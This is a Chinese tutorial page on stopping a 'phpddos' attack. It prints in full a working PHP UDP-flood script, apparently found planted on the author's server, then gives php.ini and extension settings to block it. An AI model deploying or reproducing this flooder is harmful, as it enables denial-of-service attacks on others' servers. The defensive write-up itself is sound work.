好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

phpddos攻击的解决办法 - php高级应用

phpddos攻击的解决办法

今天自己的一台机器突然向外部发送大量数据包,可每秒到1G以上,虽然我用策略把UDP禁止包是发不出去但是很占cup啊,所以想到最后还是想办法解决了.

先看源码,代码如下:

<?php  set_time_limit(999999);  $host  =  $_GET [ 'host' ];  $port  =  $_GET [ 'port' ];  $exec_time  =  $_GET [ 'time' ];  $Sendlen  = 65535;  $packets  = 0;  ignore_user_abort(True);    if  ( StrLen ( $host )==0  or   StrLen ( $port )==0  or   StrLen ( $exec_time )==0){           if  ( StrLen ( $_GET [ 'rat' ])<>0){                   echo   $_GET [ 'rat' ]. $_SERVER [ "HTTP_HOST" ]. "|" . GetHostByName ( $_SERVER     [ 'SERVER_NAME' ]). "|" .php_uname(). "|" . $_SERVER [ 'SERVER_SOFTWARE' ]. $_GET [ 'rat' ];                   exit ;              }           echo   "Parameters can not be empty!" ;           exit ;      }    for ( $i =0; $i < $Sendlen ; $i ++){           $out  .=  "A" ;      }    $max_time  = time()+ $exec_time ;    while (1){       $packets ++;       if (time() >  $max_time ){           break ;      }       $fp  =  fsockopen ( "udp://$host" ,  $port ,  $errno ,  $errstr , 5);           if ( $fp ){              fwrite( $fp ,  $out );              fclose( $fp );      }  }    echo   "Send Host:$host:$port<br><br>" ;  echo   "Send Flow:$packets * ($Sendlen/1024="  .  round ( $Sendlen /1024, 2) .  ")kb / 1024 = "  .  //开源代码phpfensi测试数据   round ( $packets * $Sendlen /1024/1024, 2) .  " mb<br><br>" ;  echo   "Send Rate:"  .  round ( $packets / $exec_time , 2) .  " packs/s;"  .  round ( $packets /    $exec_time * $Sendlen /1024/1024, 2) .  " mb/s" ;  ?> 

关键代码在于如下:

$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);

方法很简单,向目标主机发送UDP包,在加上定义无限死循环,就会形成较大的压力.

这个压力是对于执行这个脚本的服务器来说的,因为它首先对自身的网宽、CPU等资源造成大量占用,如果想用这个脚本对目标站点形成压力,需要在多个服务器上执行该脚本,DDOS嘛,既然是用fsockopen请求外部,那就不让他请求.

php.ini里设置,代码如下:

allow_url_fopen = Off

如果这样他还是能发包,代码如下:

extension=php_sockets.dll

改成

;extension=php_sockets.dll

重启APACHE、IIS、NGINX,这样就可以防止PHP DDOS发包了.

另外有网友说,让脚本不允许设置为不超时很简单,1,把set_time_limit函数禁用,2,启用PHP的安全模式(safe_mode=on).

禁用socket函数可以把把socket模块直接全部禁用也可以禁用fsockopen函数,建议,由于socket常用于发送邮件找回密码,因此建议开启直接开启安全模式,但是这样的话,脚本每30秒超时一次,估计没有哪个[黑客]寂寞到每30秒去点一下开始DDOS.

经验: 这种问题一般是网站安全引起的,我们要注意网站的安全及服务器的安全,这样就不容易被入侵了,如果会用macofee的朋友,对网站进行限制一下就会更好一些.

查看更多关于phpddos攻击的解决办法 - php高级应用的详细内容...

  阅读:42次